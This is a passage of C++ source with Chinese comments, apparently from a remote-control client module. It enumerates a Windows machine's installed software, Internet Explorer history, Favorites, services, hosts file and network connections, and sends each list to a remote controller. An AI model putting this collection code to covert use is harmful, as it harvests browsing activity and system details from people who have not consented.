||
}
|
||
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + sizeof(WINDOWSINFO), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
} catch (...) {
|
||
return true;
|
||
}
|
||
DWORD ProcessID;
|
||
GetWindowThreadProcessId(hwnd, &ProcessID);
|
||
RECT m_rect;
|
||
::GetWindowRect(hwnd, &m_rect);
|
||
m_ibfo.w = m_rect.right - m_rect.left;
|
||
m_ibfo.h = m_rect.bottom - m_rect.top;
|
||
m_ibfo.m_poceessid = ProcessID;
|
||
m_ibfo.m_hwnd = (DWORD)hwnd;
|
||
|
||
memcpy(lpBuffer + dwOffset, &m_ibfo, sizeof(WINDOWSINFO));
|
||
|
||
*(LPBYTE*)lParam = lpBuffer;
|
||
return true;
|
||
}
|
||
|
||
|
||
void CMachineManager::SendSoftWareList()
|
||
{
|
||
LPBYTE lpBuffer = getSoftWareList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
|
||
LPBYTE CMachineManager::getSoftWareList()
|
||
{
|
||
const int MAX_LEG = 256 * sizeof(char);
|
||
|
||
LPBYTE lpBuffer = NULL;
|
||
DWORD dwOffset = 1;
|
||
DWORD dwLength = 0;
|
||
char regBufferValue[MAX_LEG] = { 0 };
|
||
char regDisplayName[MAX_LEG] = { 0 };
|
||
char regPublisher[MAX_LEG] = { 0 };
|
||
char regDisplayVersion[MAX_LEG] = { 0 };
|
||
char regInstallData[MAX_LEG] = { 0 };
|
||
char regUninstallString[MAX_LEG] = { 0 };
|
||
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
|
||
if (lpBuffer == NULL)
|
||
return NULL;
|
||
|
||
lpBuffer[0] = TOKEN_MACHINE_SOFTWARE;
|
||
|
||
int n = 0;
|
||
HKEY hKey;
|
||
DWORD dwRegNum = MAX_LEG;
|
||
char regBufferName[MAX_LEG] = { 0 };
|
||
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"),
|
||
NULL, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||
if (RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwRegNum, NULL, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) {
|
||
|
||
for (int i = 0; i < (int)dwRegNum; i++) {
|
||
DWORD dwRegSize = MAX_LEG;
|
||
RegEnumKeyEx(hKey, i, regBufferName, &dwRegSize, NULL, NULL, NULL, NULL);
|
||
DWORD dwType;
|
||
HKEY hSubKey;
|
||
if (RegOpenKeyEx(hKey, regBufferName, NULL, KEY_READ, &hSubKey) == ERROR_SUCCESS) {
|
||
dwRegSize = MAX_LEG;
|
||
memset(regDisplayName, 0, MAX_LEG);
|
||
RegQueryValueEx(hSubKey, _T("DisplayName"), 0, &dwType, (LPBYTE)regDisplayName, &dwRegSize);
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regBufferValue, 0, MAX_LEG);
|
||
// 取ParentKeyName键值,判断是否是补丁信息, 是补丁信息键值为"OperatingSystem"
|
||
RegQueryValueEx(hSubKey, _T("ParentKeyName"), 0, &dwType, (LPBYTE)regBufferValue, &dwRegSize);
|
||
if (lstrlen(regDisplayName) == 0 || lstrcmp(regBufferValue, _T("OperatingSystem")) == 0) { //判断是否是补丁信息
|
||
continue;
|
||
}
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regPublisher, 0, MAX_LEG);
|
||
RegQueryValueEx(hSubKey, _T("Publisher"), 0, &dwType, (LPBYTE)regPublisher, &dwRegSize);
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regDisplayVersion, 0, MAX_LEG);
|
||
RegQueryValueEx(hSubKey, _T("DisplayVersion"), 0, &dwType, (LPBYTE)regDisplayVersion, &dwRegSize);
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regInstallData, 0, MAX_LEG);
|
||
// 判断是否能在注册表中获取到安装时间, 否取子项创建时间
|
||
if (RegQueryValueEx(hSubKey, _T("InstallDate"), 0, &dwType, (LPBYTE)regInstallData, &dwRegSize) == ERROR_SUCCESS) {
|
||
} else {
|
||
FILETIME fileLastTime;
|
||
RegQueryInfoKey(hSubKey, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
|
||
NULL, NULL, NULL, &fileLastTime);
|
||
SYSTEMTIME sTime, stLocal;
|
||
FileTimeToSystemTime(&fileLastTime, &sTime);
|
||
SystemTimeToTzSpecificLocalTime(NULL, &sTime, &stLocal);
|
||
char tchTime[MAX_LEG] = { 0 };
|
||
wsprintf(tchTime, _T("%d%02d%02d"), stLocal.wYear, stLocal.wMonth, stLocal.wDay);
|
||
lstrcpy(regInstallData, tchTime);
|
||
}
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regUninstallString, 0, MAX_LEG);
|
||
RegQueryValueEx(hSubKey, _T("UninstallString"), 0, &dwType, (LPBYTE)regUninstallString, &dwRegSize);
|
||
|
||
// 缓冲区太小,再重新分配下
|
||
dwLength = lstrlen(regDisplayName) * sizeof(char) + lstrlen(regPublisher) * sizeof(char) + lstrlen(regDisplayVersion) *
|
||
sizeof(char) + lstrlen(regInstallData) * sizeof(char) + lstrlen(regUninstallString) * sizeof(char) + 11;
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, regDisplayName, lstrlen(regDisplayName) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regDisplayName) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, regPublisher, lstrlen(regPublisher) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regPublisher) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, regDisplayVersion, lstrlen(regDisplayVersion) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regDisplayVersion) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, regInstallData, lstrlen(regInstallData) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regInstallData) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, regUninstallString, lstrlen(regUninstallString) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regUninstallString) * sizeof(char) + 2;
|
||
}
|
||
}
|
||
}
|
||
} else {
|
||
return FALSE; //打开键失败
|
||
}
|
||
|
||
RegCloseKey(hKey);
|
||
|
||
if (Is64BitOS()) {
|
||
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"),
|
||
NULL, KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) {
|
||
if (RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwRegNum, NULL, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) {
|
||
for (int i = 0; i < (int)dwRegNum; i++) {
|
||
DWORD dwRegSize = MAX_LEG;
|
||
RegEnumKeyEx(hKey, i, regBufferName, &dwRegSize, NULL, NULL, NULL, NULL);
|
||
DWORD dwType;
|
||
HKEY hSubKey;
|
||
if (RegOpenKeyEx(hKey, regBufferName, NULL, KEY_READ, &hSubKey) == ERROR_SUCCESS) {
|
||
dwRegSize = MAX_LEG;
|
||
memset(regDisplayName, 0, MAX_LEG);
|
||
RegQueryValueEx(hSubKey, _T("DisplayName"), 0, &dwType, (LPBYTE)regDisplayName, &dwRegSize);
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regBufferValue, 0, MAX_LEG);
|
||
// 取ParentKeyName键值,判断是否是补丁信息, 是补丁信息键值为"OperatingSystem"
|
||
RegQueryValueEx(hSubKey, _T("ParentKeyName"), 0, &dwType, (LPBYTE)regBufferValue, &dwRegSize);
|
||
if (lstrlen(regDisplayName) == 0 || lstrcmp(regBufferValue, _T("OperatingSystem")) == 0) { //判断是否是补丁信息
|
||
continue;
|
||
}
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regPublisher, 0, MAX_LEG);
|
||
RegQueryValueEx(hSubKey, _T("Publisher"), 0, &dwType, (LPBYTE)regPublisher, &dwRegSize);
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regDisplayVersion, 0, MAX_LEG);
|
||
RegQueryValueEx(hSubKey, _T("DisplayVersion"), 0, &dwType, (LPBYTE)regDisplayVersion, &dwRegSize);
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regInstallData, 0, MAX_LEG);
|
||
// 判断是否能在注册表中获取到安装时间, 否取子项创建时间
|
||
if (RegQueryValueEx(hSubKey, _T("InstallDate"), 0, &dwType, (LPBYTE)regInstallData, &dwRegSize) == ERROR_SUCCESS) {
|
||
char Year[5], Month[5], Day[5];
|
||
lstrcpyn(Year, regInstallData, 5);
|
||
lstrcpyn(Month, regInstallData + 4, 3);
|
||
lstrcpyn(Day, regInstallData + 4 + 2, 3);
|
||
wsprintf(regInstallData, _T("%s/%s/%s"), Year, Month, Day);
|
||
} else {
|
||
FILETIME fileLastTime;
|
||
RegQueryInfoKey(hSubKey, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
|
||
NULL, NULL, NULL, &fileLastTime);
|
||
SYSTEMTIME sTime, stLocal;
|
||
FileTimeToSystemTime(&fileLastTime, &sTime);
|
||
SystemTimeToTzSpecificLocalTime(NULL, &sTime, &stLocal);
|
||
wsprintf(regInstallData, _T("%d/%02d/%02d"), stLocal.wYear, stLocal.wMonth, stLocal.wDay);
|
||
}
|
||
|
||
dwRegSize = MAX_LEG;
|
||
memset(regUninstallString, 0, MAX_LEG);
|
||
RegQueryValueEx(hSubKey, _T("UninstallString"), 0, &dwType, (LPBYTE)regUninstallString, &dwRegSize);
|
||
|
||
// 缓冲区太小,再重新分配下
|
||
dwLength = lstrlen(regDisplayName) * sizeof(char) + lstrlen(regPublisher) * sizeof(char) + lstrlen(regDisplayVersion) *
|
||
sizeof(char) + lstrlen(regInstallData) * sizeof(char) + lstrlen(regUninstallString) * sizeof(char) + 11;
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, regDisplayName, lstrlen(regDisplayName) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regDisplayName) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, regPublisher, lstrlen(regPublisher) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regPublisher) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, regDisplayVersion, lstrlen(regDisplayVersion) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regDisplayVersion) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, regInstallData, lstrlen(regInstallData) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regInstallData) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, regUninstallString, lstrlen(regUninstallString) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(regUninstallString) * sizeof(char) + 2;
|
||
}
|
||
}
|
||
}
|
||
} else
|
||
return FALSE; //打开键失败
|
||
RegCloseKey(hKey);
|
||
}
|
||
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
return lpBuffer;
|
||
}
|
||
|
||
|
||
void CMachineManager::SendIEHistoryList()
|
||
{
|
||
LPBYTE lpBuffer = getIEHistoryList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
|
||
LPBYTE CMachineManager::getIEHistoryList()
|
||
{
|
||
HRESULT hr = 0;
|
||
IUrlHistoryStg2* puhs = nullptr;
|
||
IEnumSTATURL* pesu;
|
||
STATURL su = {};
|
||
su.cbSize = sizeof(STATURL);
|
||
ULONG celt = 0;
|
||
CoInitialize(NULL);
|
||
hr = CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER, IID_IUrlHistoryStg, (LPVOID*)&puhs);
|
||
LPBYTE lpBuffer = NULL;
|
||
DWORD dwOffset = 1;
|
||
DWORD dwLength = 0;
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 10000);
|
||
lpBuffer[0] = TOKEN_MACHINE_HTML;
|
||
Browsinghistory m_Browsinghistory;
|
||
dwLength = sizeof(Browsinghistory);
|
||
if (SUCCEEDED(hr)) {
|
||
hr = puhs->EnumUrls(&pesu);
|
||
if (SUCCEEDED(hr)) {
|
||
while (SUCCEEDED(pesu->Next(1, &su, &celt)) && celt > 0) {
|
||
ZeroMemory(&m_Browsinghistory, sizeof(Browsinghistory));
|
||
std::string url = WideToAnsi(su.pwcsUrl);
|
||
std::string title = WideToAnsi(su.pwcsTitle);
|
||
if (url.length() < 1024)
|
||
memcpy(m_Browsinghistory.strUrl, url.c_str(), url.length()+1);
|
||
else
|
||
wsprintf(m_Browsinghistory.strUrl, _T("---"));
|
||
if (title.length() < 1024)
|
||
memcpy(m_Browsinghistory.strTitle, title.c_str(), title.length()+1);
|
||
else
|
||
wsprintf(m_Browsinghistory.strTitle, _T("---"));
|
||
SYSTEMTIME st;
|
||
if (&su.ftLastVisited != NULL) {
|
||
FileTimeToSystemTime(&su.ftLastVisited, &st);
|
||
wsprintf(m_Browsinghistory.strTime, _T("%d-%d-%d %d:%d:%d"), st.wYear, st.wMonth, st.wDay, st.wHour, st.wSecond, st.wMinute);
|
||
} else {
|
||
wsprintf(m_Browsinghistory.strTime, _T("---"));
|
||
}
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, &m_Browsinghistory, sizeof(Browsinghistory));
|
||
dwOffset += sizeof(Browsinghistory);
|
||
|
||
CoTaskMemFree(su.pwcsUrl);
|
||
CoTaskMemFree(su.pwcsTitle);
|
||
su.pwcsUrl = nullptr;
|
||
su.pwcsTitle = nullptr;
|
||
}
|
||
pesu->Release();
|
||
puhs->Release();
|
||
}
|
||
}
|
||
CoUninitialize();
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
return lpBuffer;
|
||
}
|
||
|
||
void CMachineManager::SendFavoritesUrlList()
|
||
{
|
||
LPBYTE lpBuffer = getFavoritesUrlList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
|
||
void CMachineManager::FindFavoritesUrl(char* searchfilename, PBYTE &lpFUBuffer, int& dwFUOffset)
|
||
{
|
||
char favpath[MAX_PATH] = { 0 };
|
||
char tmpPath[MAX_PATH] = { 0 };
|
||
DWORD dwFULength = 0;
|
||
|
||
lstrcat(favpath, searchfilename);
|
||
lstrcat(favpath, _T("\\*.*"));
|
||
|
||
WIN32_FIND_DATA fd;
|
||
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
|
||
|
||
HANDLE hFind = FindFirstFile(favpath, &fd); // 文件后缀都是 url
|
||
do {
|
||
if (fd.cFileName[0] != _T('.')) {
|
||
lstrcpy(tmpPath, searchfilename);
|
||
lstrcat(tmpPath, _T("\\"));
|
||
lstrcat(tmpPath, fd.cFileName);
|
||
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||
FindFavoritesUrl(tmpPath, lpFUBuffer, dwFUOffset);
|
||
} else if (_tcsstr(fd.cFileName, _T(".url"))) {
|
||
|
||
char buf[MAX_PATH] = { 0 };
|
||
::GetPrivateProfileString(_T("InternetShortcut"), _T("URL"), _T(""), buf, sizeof(buf), tmpPath);
|
||
|
||
dwFULength = lstrlen(buf) * sizeof(char) + lstrlen(fd.cFileName) * sizeof(char) + 4;
|
||
|
||
if (LocalSize(lpFUBuffer) < (dwFUOffset + dwFULength))
|
||
lpFUBuffer = (LPBYTE)LocalReAlloc(lpFUBuffer, (dwFUOffset + dwFULength) + 1024, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpFUBuffer + dwFUOffset, fd.cFileName, lstrlen(fd.cFileName) * sizeof(char) + 2);
|
||
dwFUOffset += lstrlen(fd.cFileName) * sizeof(char) + 2;
|
||
|
||
memcpy(lpFUBuffer + dwFUOffset, buf, lstrlen(buf) * sizeof(char) + 2);
|
||
dwFUOffset += lstrlen(buf) * sizeof(char) + 2;
|
||
}
|
||
}
|
||
} while (FindNextFile(hFind, &fd));
|
||
FindClose(hFind);
|
||
}
|
||
|
||
|
||
LPBYTE CMachineManager::getFavoritesUrlList()
|
||
{
|
||
char favpath[MAX_PATH] = { 0 };
|
||
|
||
// 从注册表获取收藏夹所在位置
|
||
HKEY hKEY;
|
||
DWORD type = REG_SZ;
|
||
LPCTSTR path = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders");
|
||
DWORD cbData = 80;
|
||
::RegOpenKeyEx(HKEY_CURRENT_USER, path, 0, KEY_READ, &hKEY);
|
||
::RegQueryValueEx(hKEY, _T("Favorites"), NULL, &type, (LPBYTE)favpath, &cbData);
|
||
::RegCloseKey(hKEY);
|
||
|
||
LPBYTE lpFUBuffer = (LPBYTE)LocalAlloc(LPTR, 10000);
|
||
lpFUBuffer[0] = TOKEN_MACHINE_FAVORITES;
|
||
|
||
int dwFUOffset = 1;
|
||
FindFavoritesUrl(favpath, lpFUBuffer, dwFUOffset);
|
||
|
||
lpFUBuffer = (LPBYTE)LocalReAlloc(lpFUBuffer, dwFUOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
return lpFUBuffer;
|
||
}
|
||
|
||
void CMachineManager::SendServicesList(DWORD dwScType)
|
||
{
|
||
UINT nRet = -1;
|
||
LPBYTE lpBuffer = getServiceList(dwScType);
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, (int)(LocalSize(lpBuffer)));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
LPBYTE CMachineManager::getServiceList(DWORD dwScType)
|
||
{
|
||
EnablePrivilege(SE_DEBUG_NAME, TRUE);
|
||
LPBYTE lpBuffer = NULL;
|
||
DWORD dwOffset = 0;
|
||
DWORD dwLength = 1024 * 8;
|
||
char strState[100], strStartType[100], lpDescription[1024];
|
||
|
||
LPENUM_SERVICE_STATUS lpServices = NULL;
|
||
SC_HANDLE sc = NULL;
|
||
DWORD size = 0;
|
||
DWORD ret = 0;
|
||
|
||
char* szInfo[1024 * 8];
|
||
DWORD dwSize = 1024 * 8;
|
||
|
||
sc = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||
|
||
//第一次调用来得到需要多大的内存区
|
||
EnumServicesStatus(sc, dwScType, SERVICE_STATE_ALL, lpServices, size, &size, &ret, NULL);
|
||
//申请需要的内存
|
||
lpServices = (LPENUM_SERVICE_STATUS)LocalAlloc(LPTR, size);
|
||
EnumServicesStatus(sc, dwScType, SERVICE_STATE_ALL, lpServices, size, &size, &ret, NULL);
|
||
|
||
// 申请Buffer内存
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024 * sizeof(char));
|
||
lpBuffer[0] = TOKEN_MACHINE_SERVICE_LIST;
|
||
dwOffset = 1;
|
||
|
||
for (DWORD i = 0; i < ret; i++) {
|
||
dwSize = 1024 * 8;
|
||
ZeroMemory(szInfo, dwSize);
|
||
|
||
// 显示名
|
||
SC_HANDLE sh = OpenService(sc, lpServices[i].lpServiceName, SERVICE_ALL_ACCESS);
|
||
if (sh == NULL) //打开失败
|
||
continue;
|
||
|
||
QueryServiceConfig2(sh, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)szInfo, dwSize, &dwSize);
|
||
// 描述
|
||
memset(lpDescription, 0, sizeof(lpDescription));
|
||
if (((LPSERVICE_DESCRIPTION)szInfo)->lpDescription != NULL)
|
||
lstrcpy(lpDescription, ((LPSERVICE_DESCRIPTION)szInfo)->lpDescription);
|
||
|
||
// 状态
|
||
memset(strState, 0, sizeof(strState));
|
||
switch (lpServices[i].ServiceStatus.dwCurrentState) {
|
||
case SERVICE_CONTINUE_PENDING:
|
||
lstrcpy(strState, _T("Continue"));
|
||
break;
|
||
case SERVICE_PAUSE_PENDING:
|
||
lstrcpy(strState, _T("Pausing"));
|
||
break;
|
||
case SERVICE_PAUSED:
|
||
lstrcpy(strState, _T("Paused"));
|
||
break;
|
||
case SERVICE_RUNNING:
|
||
lstrcpy(strState, _T("Running"));
|
||
break;
|
||
case SERVICE_START_PENDING:
|
||
lstrcpy(strState, _T("Starting"));
|
||
break;
|
||
case SERVICE_STOP_PENDING:
|
||
lstrcpy(strState, _T("Stopping"));
|
||
break;
|
||
case SERVICE_STOPPED:
|
||
lstrcpy(strState, _T("Stopped"));
|
||
break;
|
||
default:
|
||
lstrcpy(strState, _T("Erro"));
|
||
break;
|
||
}
|
||
|
||
ZeroMemory(szInfo, dwSize);
|
||
dwSize = 1024 * 8;
|
||
if (!QueryServiceConfig(sh, (LPQUERY_SERVICE_CONFIG)szInfo, dwSize, &dwSize)) {
|
||
continue;
|
||
}
|
||
// 启动类型
|
||
memset(strStartType, 0, sizeof(strStartType));
|
||
switch (((LPQUERY_SERVICE_CONFIG)szInfo)->dwStartType) {
|
||
case SERVICE_AUTO_START:
|
||
lstrcpy(strStartType, _T("Auto Start"));
|
||
break;
|
||
case SERVICE_BOOT_START:
|
||
lstrcpy(strStartType, _T("Boot Start"));
|
||
break;
|
||
case SERVICE_DEMAND_START:
|
||
lstrcpy(strStartType, _T("Demand Start"));
|
||
break;
|
||
case SERVICE_DISABLED:
|
||
lstrcpy(strStartType, _T("Disabled"));
|
||
break;
|
||
case SERVICE_SYSTEM_START:
|
||
lstrcpy(strStartType, _T("System Start"));
|
||
break;
|
||
default:
|
||
lstrcpy(strStartType, _T("Error"));
|
||
break;
|
||
}
|
||
|
||
// 服务的启动账户名
|
||
|
||
// 是否与桌面交互
|
||
const char* InterActive = _T("");
|
||
if (((LPQUERY_SERVICE_CONFIG)szInfo)->dwServiceType >= SERVICE_INTERACTIVE_PROCESS)
|
||
InterActive = _T("是");
|
||
|
||
//==========================================================================================
|
||
// 缓冲区太小,再重新分配下
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
// 显示名称
|
||
memcpy(lpBuffer + dwOffset, lpServices[i].lpDisplayName, lstrlen(lpServices[i].lpDisplayName) * sizeof(char) + sizeof(char));
|
||
dwOffset += lstrlen(lpServices[i].lpDisplayName) * sizeof(char) + sizeof(char);
|
||
|
||
// 描述
|
||
memcpy(lpBuffer + dwOffset, lpDescription, lstrlen(lpDescription) * sizeof(char) + sizeof(char));
|
||
dwOffset += lstrlen(lpDescription) * sizeof(char) + sizeof(char);
|
||
|
||
// 状态
|
||
memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + sizeof(char));
|
||
dwOffset += lstrlen(strState) * sizeof(char) + sizeof(char);
|
||
|
||
// 启动类型
|
||
memcpy(lpBuffer + dwOffset, strStartType, lstrlen(strStartType) * sizeof(char) + sizeof(char));
|
||
dwOffset += lstrlen(strStartType) * sizeof(char) + sizeof(char);
|
||
|
||
// 登陆身份
|
||
memcpy(lpBuffer + dwOffset, ((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName,
|
||
lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName) * sizeof(char) + sizeof(char));
|
||
dwOffset += lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName) * sizeof(char) + sizeof(char);
|
||
|
||
// 桌面交互
|
||
memcpy(lpBuffer + dwOffset, InterActive, lstrlen(InterActive) * sizeof(char) + sizeof(char));
|
||
dwOffset += lstrlen(InterActive) * sizeof(char) + sizeof(char);
|
||
|
||
// 服务名
|
||
memcpy(lpBuffer + dwOffset, lpServices[i].lpServiceName, lstrlen(lpServices[i].lpServiceName) * sizeof(char) + sizeof(char));
|
||
dwOffset += lstrlen(lpServices[i].lpServiceName) * sizeof(char) + sizeof(char);
|
||
|
||
// 可执行文件路径
|
||
memcpy(lpBuffer + dwOffset, ((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName,
|
||
lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName) * sizeof(char) + sizeof(char));
|
||
dwOffset += lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName) * sizeof(char) + sizeof(char);
|
||
|
||
// 控制通知
|
||
|
||
CloseServiceHandle(sh);
|
||
}
|
||
|
||
CloseServiceHandle(sc);
|
||
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
EnablePrivilege(SE_DEBUG_NAME, FALSE);
|
||
return lpBuffer;
|
||
}
|
||
|
||
void CMachineManager::SendHostsList()
|
||
{
|
||
char szHostsFile[MAX_PATH] = { 0 };
|
||
BOOL bIsWow64 = FALSE;
|
||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||
DWORD dwSize = 0, dwRead;
|
||
LPBYTE lpBuffer = NULL;
|
||
|
||
GetWindowsDirectory(szHostsFile, sizeof(szHostsFile));
|
||
::IsWow64Process(::GetCurrentProcess(), &bIsWow64);
|
||
if (bIsWow64)
|
||
lstrcat(szHostsFile, _T("\\sysnative\\drivers\\etc\\hosts"));
|
||
else
|
||
lstrcat(szHostsFile, _T("\\system32\\drivers\\etc\\hosts"));
|
||
|
||
SetFileAttributes(szHostsFile, FILE_ATTRIBUTE_NORMAL);
|
||
hFile = CreateFile(szHostsFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL);
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
return;
|
||
dwSize = GetFileSize(hFile, NULL);
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwSize + 2);
|
||
if (!ReadFile(hFile, lpBuffer + 1, dwSize, &dwRead, NULL)) {
|
||
LocalFree(lpBuffer);
|
||
CloseHandle(hFile);
|
||
return;
|
||
}
|
||
CloseHandle(hFile);
|
||
|
||
lpBuffer[0] = TOKEN_MACHINE_HOSTS;
|
||
Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
|
||
LPBYTE CMachineManager::getNetStateList()
|
||
{
|
||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
|
||
lpBuffer[0] = TOKEN_MACHINE_NETSTATE;
|
||
DWORD dwOffset = 1;
|
||
DWORD dwLength = 0;
|
||
WCHAR* temp;
|
||
// 定义扩展函数指针
|
||
PFNAllocateAndGetTcpExTableFromStack pAllocateAndGetTcpExTableFromStack;
|
||
PFNAllocateAndGetUdpExTableFromStack pAllocateAndGetUdpExTableFromStack;
|
||
|
||
// 获取扩展函数的入口地址
|
||
HMODULE hModule = ::LoadLibrary(_T("iphlpapi.dll"));
|
||
pAllocateAndGetTcpExTableFromStack =
|
||
(PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(hModule,
|
||
"AllocateAndGetTcpExTableFromStack");
|
||
|
||
pAllocateAndGetUdpExTableFromStack =
|
||
(PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(hModule,
|
||
"AllocateAndGetUdpExTableFromStack");
|
||
|
||
if (pAllocateAndGetTcpExTableFromStack != NULL || pAllocateAndGetUdpExTableFromStack != NULL) {
|
||
// 调用扩展函数,获取TCP扩展连接表和UDP扩展监听表
|
||
PMIB_TCPEXTABLE pTcpExTable;
|
||
PMIB_UDPEXTABLE pUdpExTable;
|
||
|
||
// pTcpExTable和pUdpExTable所指的缓冲区自动由扩展函数在进程堆中申请
|
||
if (pAllocateAndGetTcpExTableFromStack(&pTcpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) {
|
||
return NULL;
|
||
}
|
||
if (pAllocateAndGetUdpExTableFromStack(&pUdpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) {
|
||
return NULL;
|
||
}
|
||
|
||
// 给系统内的所有进程拍一个快照
|
||
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||
return NULL;
|
||
}
|
||
|
||
char szLocalAddr[128];
|
||
char szRemoteAddr[128];
|
||
char szProcessName[128];
|
||
in_addr inadLocal, inadRemote;
|
||
char strState[128];
|
||
DWORD dwRemotePort = 0;
|
||
|
||
// 打印TCP扩展连接表信息
|
||
for (UINT i = 0; i < pTcpExTable->dwNumEntries; ++i) {
|
||
// 状态
|
||
switch (pTcpExTable->table[i].dwState) {
|
||
case MIB_TCP_STATE_CLOSED:
|
||
